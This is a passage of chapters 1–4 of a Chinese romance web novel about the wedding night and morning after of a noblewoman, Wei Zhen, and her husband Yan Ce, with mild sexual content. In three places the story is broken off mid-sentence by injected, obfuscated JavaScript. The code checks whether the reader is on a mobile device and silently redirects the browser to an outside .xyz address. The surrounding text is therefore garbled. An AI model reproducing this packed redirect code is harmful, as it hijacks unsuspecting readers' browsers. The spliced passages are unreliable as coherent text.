《不要给女人做狗》 1. 第 1 章 仲春时节,风软日薄。 奉国公府大喜,六郎燕策迎娶御史中丞之女卫臻。 鞭炮炸响,枝头喜鹊扑棱棱,婚舆绕着城内转一大圈,入了红绸高挂的国公府。 “良缘夙缔,佳偶天成——” 傧相拉长调子说着吉祥话,声音自花轿外涌入,卫臻却半点也笑不出来。 因为这桩姻缘来得并不体面。 两月前,她赴宴时吃醉了酒,稀里糊涂把燕策给口口了。 并非推诿,是真的稀里糊涂。 他身量高,肩膀也宽,二人体型差距悬殊,燕策一只手就能把她整个抱起来。他的力道压过来时,她腰都泛着软,几乎站不稳,卫臻怎么也想不通,她哪来的能耐,那般轻易就...... 除去这不体面的开始,更糟糕的是,卫臻曾与燕策的兄长有过婚约。 去岁燕策兄长病逝,她本该遵亲长之言,另择佳婿,如今却阴差阳错地和燕策绑在一起。 知道内情的燕府众人会如何看她。 还有燕策。 卫臻虽久在深闺,待嫁这些时日也了解过他的过往,略窥得几分他的脾气秉性。 燕策自小随父亲奉国公出入军营,久历戎行,十七岁时率九百骁骑,奇袭胡城,斩突厥可汗。后受召回京,官拜左骁卫将军,统领虎贲营。 年少扬名,如此出身和经历,他性子自然傲一些。与他清雅如玉的兄长不同,燕策为人落拓不羁,与人较量时,力道轻重缓急全凭他心情。 现下燕策成了她的夫君,日后二人该如何相处,他会仗势欺负她吗。 一切都让卫臻很没底,手心里握着的苹果,也被她掐出一道道小月牙痕。 下了花轿,踏上毡席,手底下又被塞了条红绸。 婚前已有嬷嬷教导过礼仪,但是真到了这关头,卫臻却还是抑制不住地紧张,屏息垂眸,每一步都走得谨慎。 “跨火盆——” 风把盖头吹拂至脸颊,卫臻轻轻吹了口气,盖头晃悠着飘远了些,透过红色布料垂下去的缝隙,能瞧见前面的铜火盆。 红色火舌聚在盆中,缭绕着要扑上来。 卫臻本能地对火堆发怵,惧意通过手上的牵红喜绸传给了另一端的人,很快她就被人抱起来了,比她更高的体温透过布料渗入。 纤细指节紧紧攥着红绸,她犹豫一瞬,到底把手搭在他身上了。 卫臻被燕策拢在怀里,身前紧贴着他的肩,全身重量几乎都压在他半边手臂上。 周围立即传来阵笑声,伴随着起哄打趣,还有小孩在喊:“抱新娘子咯!” 燕策抬腿迈过火盆的瞬间,卫臻被颠了下,手上的苹果无意间撞到他下颌。 “咚”一声,只有他们二人能听见。 苹果咕噜噜顺着衣裳掉了下去,卫臻忙不迭捞了两下没捞到。 好在燕策正托着她繁复的喜服裙摆,那颗圆滚滚的红苹果也被裙摆兜住了,而后落入他掌心。 跨过火盆,拜过天地,就开始往后院走。卫臻今日穿的织锦绣鞋底子很软,一直到脚底快要走酸了才行至她和燕策的婚房。 全福太太说着吉祥话,接过新人手中的喜绸,却没拉动。 燕策低头见是卫臻手紧攥着布料,忘了松开。 “给我。” 他的手覆上去,摸到她指腹渗出的薄汗,轻轻拢了下。 被他一碰,卫臻有些窘迫地松开手,还好有盖头,没人看见她的表情。 可接下来就要掀盖头了,等盖头掀开,她得笑,不能在人前搞得难堪。 二人有了肌肤之亲的次日,燕策就上门提亲了。 婚期很赶,但婚礼筹备得周全,甚至,他还求来了圣上赐婚。 他做到这个地步,她该笑一下的。 盖头被燕策用喜秤挑开,徐徐露出张极精致的芙蓉面,仙姿佚貌,桃羞杏让,叫人挪不开眼。 软红的盖头顺着往后坠,堆在云一般蓬松的红色锦被上。 卫臻就坐在这捧红云里,脸颊白得能发光。 她一抬眼,光也暖,风也软。 发间步摇垂着长长的穗子,随着她的动作微微打晃,映出些细碎的闪。 屋内几乎聚满了人,里三层外三层的,全都在打量新娘子。 卫臻被人瞧得耳根发热,白暂的面颊泛起层薄粉,她也没好意思继续往上抬头看燕策,很快垂下眸。 燕策在卫臻身侧坐下,两人的腿贴在一处撞了下,卫臻先一步挪开了。 结发之后,侍女端来合卺酒。 二人手臂交错,握着葫芦瓢仰头的瞬间,卫臻对上燕策视线。 婚服暂时削弱了他深邃五官带来的攻击性和冷戾,狭长的眸正望向她,也较平日里更为透亮。 可能是在对她笑吧,卫臻不确定。 过于漂亮的一双眼睛,看谁都像含情。 她当然知道,并非他有情,只是天生占优势的相貌使然。 饮过合卺酒,燕策浅红的薄唇沾上点水色。 眼前人这幅唇瓣湿润的样子,卫臻莫名感到熟悉。 她无法凭零散的记忆,将那些突然出现在脑海的昏暗糜艳画面补全,又本能地感觉那些画面怕光。 心里藏着事,卫臻跟他对视的眼神也开始飘忽。 呼吸几瞬,她率先败下阵来,视线掠过他脸庞,躲闪着移开。 喝完交杯酒,燕策就被人催促着去前院待客,临出门,他又折返回来。 门口的光被峻拔修长的身量遮住大半,他逆着光站在那,唇红齿白,眸中盛着她的影。 “若有事便差人去前院找我,累了就先休息。” 周围又是一阵打趣声,卫臻知道自己此刻该做个体贴的新妇,嘱咐夫君少饮酒。 可被这一闹,她也不好意思开口,只轻轻应了声。 抛开羞赧,单论私心,卫臻其实也隐隐盼着燕策多喝些酒才好。 出嫁前,嬷嬷给她看避火图时提过,男子醉酒后,是不能行事的。 也不知燕策酒量好不好,若是他醉了,今晚应当就不用...... 初春昼尚短,卫臻带着一身水汽从浴房出来时,天已黑透,不知是几更。 前院的热闹尚未完全散去,屋外簌簌风声中夹杂着人声,推杯换盏,觥筹交错。 屋内极静,几名侍女在浴房内利落地打扫,龙凤红烛燃得旺,灯花爆了爆。 灯下,燕策靠坐在一旁的椅子上阖目休息,精壮劲瘦的长腿在衣摆下随意支着。 卫臻入京后与燕策偶遇过很多次,他容色惹眼,没人会把他当陪衬,往日里哪怕他不说话,存在感也极强烈。 这是卫臻头一回见他安静的一面。 领口被他扯松了些,修长的脖颈微微仰着,下颌线条清晰好看。 他肤色在男子里面算白的,喝了酒有些上脸,眼角正泛着红,唇瓣也是浅红的。 瞧这样子是醉了。 卫臻松了口气,当他睡着了,脚步放轻。 但下一瞬,她看见他的喉结缓慢滑动了一下。 接着二人在烛光里对上视线。 “用过膳了吗?”他揉了揉额角,站起身,朝她走近。 卫臻知道他在看自己,便点点头,别过脸没应声,只留给他一截白嫩的颈。 她方才沐浴完,柔软的寝衣布料沾了些潮气贴在身上,娇靥不施粉黛,薄薄的眼皮微微泛红,鬓角发梢尚带点湿意。 身后的垂发被她用浅粉色发带简单绾起,堆在线条柔美的颈肩,蓬松柔亮,靠得近些就有淡淡的甜香袭来。 几缕发丝顺着细腻的脖颈散落,又沿着领口蜿蜒,与瓷白的颈窝一同消失在石榴红布料下。 石榴红很衬她肤色。 燕策想起几年前自己第一次见她那日,她穿的也是石榴红裙。 梳双髻,戴着光亮精致的银饰,走动时有清脆的响,发间的蝴蝶簪在光下颤得恰到好处。 彼时他情窦未开,头一回莫名地记住了女子的衣裳首饰,再也没忘。 “啪嗒”一声,卫臻把手上攥着的花露瓶子搁在一旁的红木妆台上,没放稳,瓷瓶咕噜噜滚远。 她下意识探手想去追,但那瓷瓶滚到他那边了。 像白日里那个苹果一样,她没拿稳的,又被他接住。 卫臻立即把手收回去,背在身后,不同他有一点接触。 人不挨着他,但她的物件儿还被燕策攥在手中。 他手掌生得大,指节遒劲修长,用力时会迭出虬结的筋络,把她腿肉捏得微微变形......卫臻阖上眼轻轻晃了下脑袋,把突然出现的联想甩掉。 再睁开眼,就见白腻的小瓷瓶在他掌心像个手把件,被他拨动着转了下。 气息莫名黏腻胶着了些,卫臻犯了难,好在有侍女进来回话,讲浴房收拾好了,燕策没再多言语,顺手搁下小瓶去沐浴了。 卫臻挠了挠脸颊,看看妆台上的小瓶,又看向燕策。 他步子迈得不急,边走路边解腰带,途径楠木衣架,没抬眼,随手把腰带搭了上去。 动作利落,但背影又懒懒散散的。 这人到底醉没醉。 燕策沐浴比卫臻快很多,她正对着床榻中央那块喜帕发愁时,他已然收拾好出来了。 卫臻知道这喜帕是用来做什么的,自从婚前知道了有这么个习俗,她就一直不能理解。 “发什么愣?” 懒散清朗声线冷不丁在头顶响起,卫臻被吓了一跳,往后跌坐在床榻上。 “你走路怎么一点动静都没有?” 掌心碰到那块白色喜帕,她又被烫到了似的挪开手。 这反应有点太大了,明明半点都没挨到她。 见她这么容易被吓到,燕策扯了扯唇,哧了声: “我走路你也要管吗,这么霸道。” 卫臻不满意他说自己霸道,才新婚当日,他就在这挑她的不是了。 又见燕策吐字清晰,双目清明,看来甭管方才醉没醉,现下他沐浴完,彻底醒酒了。 意识到这点,又联想到一会儿要做的事,卫臻一扭头别过脸去,没搭理他的话。 燕策在她身侧坐下,倾身靠过来,卫臻索性闭上眼睛, 视线被薄薄的眼皮遮挡,但气息是拦不住的。 他沐浴后的清冽气息涌了过来,裹挟着她,卫臻缩着肩往里挪了挪,努力跟他拉开点距离。 但总共就这么大点地儿,根本躲不掉。 呼吸间属于燕策的气息更浓了,卫臻知道,他靠得更近了些。 纤白指尖用力攥紧衣摆,卫臻心底开始打突突,这人刚挑完她的刺,就要欺负她了吗? 她要配合他吗? 二人现下已经是名正言顺的夫妻了,好像没有理由拒绝他。 即便她不愿意。 她也不能因为他挑刺就生气,卫臻知道自个儿是纸老虎,风一刮就倒了。 没人能给她撑腰。 心底有些发涩,卫臻不想露怯,把眼皮闭得更紧,纤长的眼睫却颤得厉害。 等了几瞬,没等到他的下一步动作,她眼皮刚偷偷溜开条缝儿,紧接着腿边就传来拉扯感—— 燕策想把那块碍她眼的喜帕抽走。 卫臻不防,被这股力道带着,仰头倒在锦被上。 发髻松散,乌发如墨,凌乱地铺开,她就这么躺着瞪了他一眼。 燕策手臂撑在她身侧,垂下眼睫,漆黑的眸睨向卫臻。 她好像瘦了,下巴尖尖细细的,他记得她的脸原先要圆一些。 面颊小,黑亮瞳仁的存在感就格外强,她明明没哭,但眼尾在灯下泛着水色,像被欺负了。 陡然拉近的距离让卫臻更慌了,雪靥浮出片柔红,纤长白嫩的指节胡乱蜷缩抓握。 她以为抓住的是锦被,其实是他的袖口。 燕策去拨开她手指,想把自己袖子抽出来,卫臻冷不丁被碰到,下意识蹬腿。 裂帛声响起,床榻外的红纱帐被她的腿压到,撕裂了一角。绑着帐子的缎带也因此松开,其余红纱飘着落下。 燕策笑了下,躬身与她拉近了点距离,低谑道: “继续踹。” “明早侍女进来收拾,就都知道新婚夜你把床帐弄裂了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860007|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纱帐把烛光筛得细碎,点点斑斑,映在四周。 他头发未完全弄干,额发沾着潮气搭在英挺的眉骨上,这一笑在灯下漂亮得有些晃眼。 “凭什么别人都觉得是我,怎么就不能是你干的。” 燕策眼底笑意愈发明显,“我或者你,有区别吗?” 卫臻也反应过来,寝具这种东西,无论是谁在新婚夜蛮力弄坏的,总是会显出几分孟浪。 在这方面,她与他撇不清。 水珠顺着他发梢下坠,“啪嗒”,滴在她锁骨中央的小窝,泛着凉。 卫臻抖了下,尚未来得及骂他,就被他拨着肩膀,翻了个身趴在榻上。 脸颊贴上柔软的锦被,半边雪腮被压得微微变形。 卫臻闷闷地唔了声。 燕策没再继续逗弄她,抽走了那块方才被她压在腰下的白色喜帕。 他松开手后,卫臻忙不迭坐起来了,就见他随手把喜帕掷到外面了。 原来这人让她翻身是为了拿走那块帕子。 讨厌,也不说一声。 卫臻正腹诽着,又听见他开口:“我非急色之徒。” 对上她不解的眼神,燕策补充:“你不愿意,我们今晚就不做。” 卫臻有些意外,再次向他确认:“可以不做吗?” 她脸上愠色已退去一半,细密的睫毛软沓沓垂着。 “燕好需你情我愿,这种事没人可以勉强你。” 得到想要的答复,卫臻轻轻吸了吸鼻子,松了口气,不再歪歪扭扭地把自己挤在一旁。 说不上来什么感觉,感觉心里被人胡乱揉成了一团。 放松下来,卫臻又反复在心底品了品燕策说的话,抛开她的意愿,他应当也不愿意再做那种事。 不愿意做,却在事后妥帖地筹备了婚事。 讲话虽不正经,但今夜到底也没欺负她。 这人好像,也没那么讨厌。 基于这点判断,躺下时,卫臻觉得自己应当礼貌性关心他一下。 毕竟往后还要同他一起过日子,关系不好搞得太僵。 二人最好相敬如宾,互不干涉。 憋了好半晌,她憋出一句:“你习惯睡里边还是外面?” 说完,卫臻自己都觉得干巴巴的,哪像关心人。 可睡觉的位置一等一重要,让他先选,她很大度的,他该识抬举。 看着已经率先躺在床榻里侧的卫臻,燕策幽幽道:“里面。” 见她秀气的眉毛轻轻蹙起,他笑意更深,说的话也没个正形:“我怕黑。” 卫臻:“?” 她瞧了一眼帐外燃着的红烛,过分明亮了。 这人到底在怕什么。 毕竟是自己主动问的,卫臻不恼,只觉得他突然冒出来的的理由太荒唐,她也没跟他争辩,卷着被子往外挪。 外侧的床褥没人暖,凉凉的,乍一挪过去,她打了个颤, “只有一床被子吗?” “新婚都是盖一床。” 卫臻钻进被子里了,“我这才头一次成亲,下回就知道了。” 哪来的下回, 跟谁的下回。 燕策刚要反问,就听见她闷闷的声音从锦被底下传来: “下回你先躺下给我暖暖被窝,今天我好不容易把里边儿给你捂热了。” 她说完这话,也从被子里钻出来了,尾音变得清脆明晰,即便语调中带着不满,也让人觉得悦耳。 原来是这个下回。 她真是—— 可爱。 里侧的软枕被她躺了一会儿,沾染了她发间的甜香。 燕策在卫臻身侧躺下,喉结轻滚,咽下原本要反问的话,难得温驯:“好。” 卫臻方才钻进被子里去够她的汤婆子了,幸好有这个,她把两只脚轮流贴上去暖着。 翻身时不小心把汤婆子推到了燕策那边,撞上他的腿。 燕策冷不丁被这么一碰,不疼,但有些痒,他四时体热,用不到取暖的器具,反应了一瞬才意识到是什么。 铜制汤婆子外面裹着层绒布,软茸茸的。 她的物件儿跟她人一样。 卫臻想起白日里自己苹果撞上他那一幕,这是今天第二次打到他了。 “......我不是有意的。” 他躺在一旁,不知在想什么,声音沉缓:“无妨。” 几番对话下来,卫臻发觉燕策性子好像没那么差,倒是与她预想的不同,她心稍稍安定了些。 没成想,下一瞬,燕策说的话让她的心再次悬了起来: “担心你有孕,所以婚期有些赶——” 话尚未说完,燕策就感觉腿上重重挨了一下。 她急着坐起来,动作间再次把汤婆子踢到他腿上了。 卫臻愣了几瞬才意识到他这句话的分量。 她数了数自己的月信。 迟了,自事发之后就没来过。 虽说她月信本就不太准,可正好在这个危险的关口,保不齐是因为什么。 卫臻脸色煞白,手掌下意识探上小腹,那里还很平坦,什么都摸不出来。 随着她的动作,锦被自她肩头滑落。 燕策想到方才她碰到他时发凉的脚底,把被子给她往上拉了拉。 “不准碰我。”卫臻拍掉他手,带着很大的情绪。 燕策收回手,“我让人去传大夫来。” “新婚夜就找大夫,让阖府上下都知道了,我还做不做人了。” “没人敢乱说,我去找。” 卫臻别过脸去,没再阻拦。 那次他很细致,事后她身子并无不适,检查过也没有伤口,便把这茬给忘了。 也不是忘。 她才十七,头一回做这种事,没有阿娘在身边,她想不到这些的。 越想越难过,卫臻拥着被子掉起眼泪。 燕策去外面交待了几句,很快回来。 脸颊已经被卫臻用手背胡乱抹得湿润,她带着点鼻音,瓮声瓮气抬头问他: “我们......那日,你怎么弄的?” 2. 第 2 章 刚问完,眼泪就顺着卫臻下巴尖滴到被面上,晕开朵花。 她知道自己不该这么问,毕竟,是她先蹭上去的。 可她就是记不清楚了,脑海里的关于那日的记忆并不全,后半截全都是散的。 燕策拿了干净帕子给她,很快也被卫臻的眼泪洇透。 湿漉漉的绢帕握在手心,她在榻上无处扔,被燕策接了过去。 换过两条帕子,见她气顺上来了,他开始回答她的问题: “没在里边太久,你不舒服就没继续了。” 太直白。 难为情又加上方才哭了,她呛得咳嗽了下。 一盏热茶适时递过来,卫臻捧着茶盏小口喝着,氤氲缭绕的雾气熏得她眼皮痒痒的。 燕策在书上看过,大体知道这种事时,二人是何种情形。 但真到了那时候,才知道并不是书上画得那般轻松。 入处难寻,且她的眼泪太多,比方才哭得还要久,他不能不顾她的感受硬闯。 事关自己的身体,又见他此刻面上无狎昵之色,润完嗓子卫臻硬着头皮继续小声发问:“那后来呢?” 她记得折腾了好久。 燕策接过被她喝空的茶盏搁在榻外小几上,夜间饮太多水不好,他没再继续给她添茶, “后来是手,但我手心有茧,你不喜欢,就换成口了。” “你......” 卫臻瞳孔震了震,什么意思,是她理解的那个意思吗? 她有点不能接受。 但现下顾不得跟他计较拉扯这个,她回忆了嬷嬷讲的做那种事的过程,和他方才说的不一样。 “这样,也会怀上吗?” “我问了大夫,最开始那一会儿接触有可能。” 底下办差的人手脚很快,卫臻正欲继续追问他,外间便传话讲大夫来了。 来的是程娘子,她年逾三十,行医多年,什么事都见过,新婚夜问孕脉在她眼里也算不上稀奇,因此只淡定地给卫臻把脉。 程若蘅分别问了上次来月信和行|房的日子,又传来卫臻的贴身侍女,细细问过她近期用过的汤药和异常的吃食。 讳不避医,再不好意思,卫臻也一五一十地说了,偶有她实在难以启齿的,燕策在后面接话答了。 “六郎与夫人年方少艾,身强体健,若夫人有孕,脉象当滑利分明,不会经月不显,不像是滑脉。 “倒像是先前用的汤药太过寒凉,故月信迟了。” 程若蘅提笔在纸上开方子,见卫臻神色惴惴,不由语气放轻安抚: “夫人年岁小,月信不规律也属常事,且放宽心,我给妇人诊脉还没有出过差错。只是夫人气血略有不足,倒也不碍事,我先开一剂温补气血的方子,五日后再来复诊。近期莫要吃寒性的食物,切忌大惊大喜。” 程娘子是京中妇科圣手,家中世代行医,祖父辈还做过前朝太医院院判,她的话是很有分量的。 卫臻听完心底安定了大半,忙好生谢过,让人封了厚厚的诊费,驾车客客气气地把程娘子送回去。 睡前脸上擦了花露,又大哭过,流了不少眼泪,卫臻现下只觉得脸上粘粘的,不舒坦,便去浴房重新净手洗脸。 新婚夜,温水总是时刻备着的,也不必喊侍女进来,卫臻自个儿拿湿帕子覆在脸上擦了擦。 甫一揭下帕子睁开眼,就见一旁靠着个高高的人影,她不防,帕子掉进面前的铜盆里,水花溅起,湿了她前襟。 眼睫湿漉漉,挺翘的鼻尖微微泛着点红,像被夜雨打湿的小花。 “你走路怎么又没动静!” 水珠顺着脸颊淌到下巴尖儿,卫臻用指头抹了下,状似无意地对着他甩掉手上的水。 小花化作踩在枝头会飞会叫的鸟,抖几下就淋他一脸水。 燕策微微仰头躲了下。 但俩人挨得太近了,仍有水珠溅到他下颌。 “是不是要我找个铃铛拴身上你才满意。” 他肩背挺阔,人却懒散不着调,说话时斜身抵着墙面,下颌处还往下滴着水,晕开层薄光。 见她洗完脸了,燕策抬手搭上一旁的架子,两条干燥厚实的棉帕并排挂在架子上,其中一条四角都绣着黄色的小花,他顺手抽下递给她。 卫臻接过帕子拍拍脸,仰头本想用力剜他一眼,莫名被他这幅样子搞得不好意思。 到最后她也只轻飘飘地怼了他一句,声音半点威慑力都没有:“你少刻薄我。” 把脸颊上水珠擦干,卫臻就自顾自往里间走,在妆台跟前坐下。 纤长白嫩的手指染着红色蔻丹,打开妆台上的几个瓶瓶罐罐摆在眼前。 仲春夜,她身上冷,脸颊却莫名泛热,用手背扇了几下风才开始涂涂抹抹。 卫臻是在益州长大的,记忆里,哪怕冬日也温暖湿润。 她十五岁时才入京,在京里过了两个冬,仍不适应这边冬春时节的干冷,洗完脸总要涂层香膏。 擦完脸瞧了一圈,燕策暂时不在屋内,她便开橱门另取一套寝衣,打算把身上这件湿了一点的换掉。 婚前已经有人把卫臻日常习惯用的物件儿和衣裳首饰送来,连带着这边给她新做的一些衣裳,都规整好了。 一打开橱门,就看见两个人的应季衣裳整齐挂在一处。 左边是燕策的,多是暗色和赤色。 另一边是卫臻的,什么颜色都有,样式也比他的多,各种氅衣、中衣、裙子、内衬、还有小衣—— 小衣怎么能这么大喇喇地放在那! 那岂不是燕策开橱门也能看见。 刹那间,卫臻想起二人的那次亲密接触,白日里他抱着自己跨火盆,以及,眼前会被他看见的小衣。 这些让她无所适从的,在夫妻之间其实是常事吧,往后还会有更多诸如此类的情况。 他会突然出现在她身旁,也是再正常不过的,这间屋子也是他的卧房,她不该因为他突然出现就大惊小怪。 她该适应的。 可卫臻思来想去也做不到,她就是对这种亲密感到不自在。 她并不懂该如何进入一段亲密关系。 最终,卫臻把装着小衣的盒子挪到了最右侧,特意用件长一些的衣裳挂在前面,遮得严严实实。 取了衣裳见燕策从外间回来了,卫臻仰头拦住他:“我要换衣裳,外面凉......” 视线落在她微微泛红的鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我什么时候教你了,而且那天之前,我跟你都没说过话。” “说过。” 燕策睁开眼侧过脸来看着她。 “什么说过,”卫臻不解,“问你正经的,你别一个字一个字往外蹦,转移话题。” 燕策收回视线,开始正经回答她的问题: “我也不会,但是你有反应,你的反应会教我。” 可能是夜深人静私语,也可能是陷入了回忆,他讲话很慢: “哪里会让你痛、怎样才能让你高兴,你都有反应。痛了会挠我,高兴了会——” 他的话没来得及说完,因为卫臻捂住了他的嘴。 温热的手掌过来时还在他鼻息间刮起一小阵风。 她的动作并不温柔,“啪”的一声,在夜里很清晰。 卫臻本来只是想捂住他的嘴,不让他把她情动时的反应说出来,由于太着急,像扇了他一巴掌。 巴掌声之后,帐内过分安静。 燕策喉结滑动了下。 她手好软,还很香。 3. 第 3 章 卫臻很快收回手,“我没想打你,是你口无遮拦,我急了才......” 燕策没被人这么轻飘飘地扇过巴掌。 很怪。 他那边的枕头被她躺过一会儿,也沾了她身上馥郁的甜香,呼吸间就能闻到。 她在他枕畔叽里咕噜说什么。 怎么说话也是香的。 燕策脑子里全是她手心的触感,不知该作何反应,整个人只有喉结和胸腔,缓慢起伏着。 他不出声,卫臻以为他生气了。 生气也能理解,毕竟打人不打脸。 突然被扇了一巴掌,他定然不爽。 卫臻有些急,忙曲肘支起上身看着他, “我让你还回来,但你不能用手还,你手太大了,我会吃亏......” 燕策躺在那没睁眼,拖长调子应了下:“那用什么?” “你可以用脸打我的手。” 他睁开眼,笑得肩发颤,“被子里那点热乎气跑没了。” 说完伸手把她那边的被角一拽,卫臻就被这股力道卷着躺下了。 见他不计较,卫臻瞧了他一眼就翻了个身,背对着他,用被子裹得只露出双眼睛。 被子底下,扇过他的那只手摩挲了几下。 她脑海里没有关于他脸颊触感的记忆,那日应当没有摸过他的脸。 想来也有些荒谬,更出格的做过,但是没有摸过脸。 方才碰上去,其实有些意外,她以为他脸的手感会粗糙些,像他的指腹一样。 或者是硬的——他骨相优越,面颊生得窄,皮肤薄且紧致,脸上没有多余的肉,摸上去该是硬的。 可没想到他的脸竟然是软的,跟他整个人很有反差的软。 手感真好,不比她喜欢摸的那个毯子差,明个得让人把小毯子从箱笼里拿出来。 窗外落起雨,窸窸窣窣扫过屋顶瓦片,雨声渐密,卫臻眼皮渐沉,思绪一点点揉散...... 卫臻的第一个毯子是阿娘给缝的,浅黄的布料,纹样是四瓣小花,角落里还绣着她的小名。 后来卫臻就舍不得抱了。 只有那么一个,抱旧了抱坏了,就没有了。 阿娘缝的毯子,她曾抱着睡了几百个夜晚,只有她自个儿才晓得针脚该如何下,旁人仿着做也做不出那个感觉。 卫臻便费心思寻了相同的布料,自己动手比对着缝了一样的,只是名字没有阿娘绣得好看。 她还多做了几条轮流洗换,每次刚浆洗过晒干了,毯子都会有些发硬。 揉搓一会儿就会重新变得蓬松柔软。 卫臻像往常一样,手指用了些力气抓揉,偏生这次越抓越硬。 一直到天边露出鱼肚白,那毯子也没服软。 细雨已歇,庭前枝叶沙沙,卫臻从睡梦中缓缓睁开眼。 她手底下抓的不是梦里的毯子。 是燕策。 卫臻抬了抬头就撞到他下颌,这才发现自己整个人趴在他一条胳膊上。 脸颊埋在他颈窝处,手还伸进了他领口。 燕策呼吸,她的手就跟着起伏。 卫臻被这场面骇得愣了几瞬。 燕策早就醒了,在卫臻上手抓他的第一下。 她又像那日一样摸他了。 但他知道,她上次摸他事出有因:她中药了,是被药性驱使着。 她这次摸他也只是因为在做梦。 并没有旁的缘由。 因此他没敢动。 只是一味地收紧核心。 呼吸几下,卫臻很快回过神来,先发制人,把手拿出来打了他一下:“你做什么!” 燕策:“?” 早起他声音很低,泛着点哑:“你自己靠过来的。” 卫臻当然不能信,她接受不了自己在没醉酒的情况下又一次摸他这件事:“我自个儿睡的时候,一直好好的。” “你自己睡的时候也没第二个人让你折腾。” “你好好说话,什么叫折腾。” 见她要坐起来,燕策曲起条腿遮了下。 卫臻醒之前贴在他身上睡了快一个时辰。 她睡着后浑身都软沓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860009|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沓,手却还能有力气作怪。 他不敢动,但妄念起。 卫臻看见他这躲闪的动作就来气,只当他是嫌弃她靠他太近, “做样子给谁看,谁稀罕挨着你。” 燕策正在一天当中精力最旺盛时候,难受到有点疼,没跟她对呛。 “就是你趁我睡着了,把我摆布成那样的。”卫臻在一旁骂骂咧咧起身。 紧接着,很短促的布料拉扯声响起。 卫臻低头发现自己寝衣系带被压在他腰下了。 系带打的结随着起身的动作扯松,寝衣交领大开。 怕睡着了不舒服,昨晚睡前她把里面的小衣系得很宽松,一夜过去也歪歪扭扭的,根本包不住。 现下一边坠出来了。 昨夜落了一阵子雨,天亮前停了,外间有侍女支开窗牗,水珠顺着木雕往下滴。 里间说话的声音传到外间,但俩人没唤人,尚无人敢进来侍候。 只有风从外间涌入,拂开纱帐,吹动卫臻鬓边碎发,又越过莹白的肩头,半片身子都有些凉。 太近了,燕策想看不清楚都难。 晃晃悠悠,水滴一样,就要落在他脸上。 “你!” 卫臻原还有些困倦,这下彻底醒神了,气得在被子底下用脚踢他,脸涨得通红。 燕策抬腰把她的系带扯出来,卫臻抱着衣裳背过去,缩起胳膊遮着。 “别生气。”燕策在她身后坐起来。 “你出去!” 被卫臻赶到外间,燕策望着屋檐下坠落的水滴,脑海里还是那个漂亮的画面。 粉粉润润,明晃晃地闯入他视线。 一阵风吹过,檐下往下淌的水滴被吹歪了,他伸手接住,指节曲起抓握了下。 燕策阖上眼,想起的又是她细细系带勒出的痕。 再张开手,水滴已经融在掌心。 她身量纤细,平日里看起来肩背都薄薄的,为什么会那么...... 燕策捂着脸缓缓下蹲,他知道自己再也忘不掉了。 他有罪。 4. 第 4 章 燕策出去后,卫臻缓了好一会子才撩开床幔唤侍女进来。 侍女兰怀满面愁容:"夫人,老太太院里来人,要拿那块喜帕回去交差。" 兰怀服侍卫臻多年,卫臻同燕策的事情也唯有她知根知底。 昨个兰怀在外间守的夜,大夫来给卫臻把脉时她也在一旁侍候着,知道卫臻和燕策晚上什么都没做,压根交不了差。 “拿那个做什么,”卫臻没想到这东西还要拿去给人看,“要拿就拿吧。” 昨夜虽什么都没做,但这种私事现于人前的感觉让卫臻很不舒服,偏生是长辈的意思,她没法直接拒绝,只蹙眉小声嘀咕了句:“真烦人......” 说话间卫臻拿起兰怀放在床头的衣裳展开看了眼,“不要这件,给我换个紧一些的,穿骑装时的小衣。” 今个要出门,这样行动方便些。 兰怀依言去衣橱里给她重新取了件,卫臻接过来,藏在在被子里穿,双臂绕到后面系着带子,“好像比上次穿的时候更紧了,有点勒。” “夫人长身子呢,该让绣娘来重新量体裁衣裳了。” 卫臻自己隔着布料碰上去,秀挺的鼻尖皱了皱:“可别再长了。” 直到中衣也穿好了她才从被子里出来。 “对了,你去把......你让燕策回来。” 刚把人赶走,就又找他回来,卫臻自个儿也觉得怪别扭的。 兰怀应了,另有侍女上前来给卫臻穿外衣梳头,几名小丫鬟在里间轻手轻脚洒扫收拾。 卫臻边梳头边等,她心里急,时间被拉得分外漫长。 “怎么这么久了还没回来,拿什么乔。” 其实从燕策被她赶出去到他回来,只过了不到两盏茶的功夫。 卫臻从匣子里挑了几支小钗,递给身后梳头的侍女,抬头从镜中瞧见燕策进来了。 她本就因为晨起时的事对他窝着点火,现下又来这么一遭,没好气地问他: “做什么去了。” “在东耳房洗漱。” 燕策话音刚落,就有侍女抱了一大束修剪完的杏花进来,插在粉彩梅瓶里。 这花来得好时候,气氛也不由自主地稍稍和软了点,卫臻咽下原本要数落他的话,而后朝身侧一指,侍女便把杏花摆在卫臻指的位置,往瓶中添着水。 水流叮咚,疏影横斜,杏花偎在妆台旁,开得正盛。 花瓣圆乎乎,围着嫩黄的蕊,卫臻轻轻拨动了下。 “这么早就有杏花了吗?” 这个时节玉兰才刚刚进入花期呢。 燕策正靠在一旁看卫臻梳头,软缎般的头发披在她肩后,乌黑柔顺,被盘成漂亮的发髻。 他随口应道:“有,但这些是暖棚里培的。” 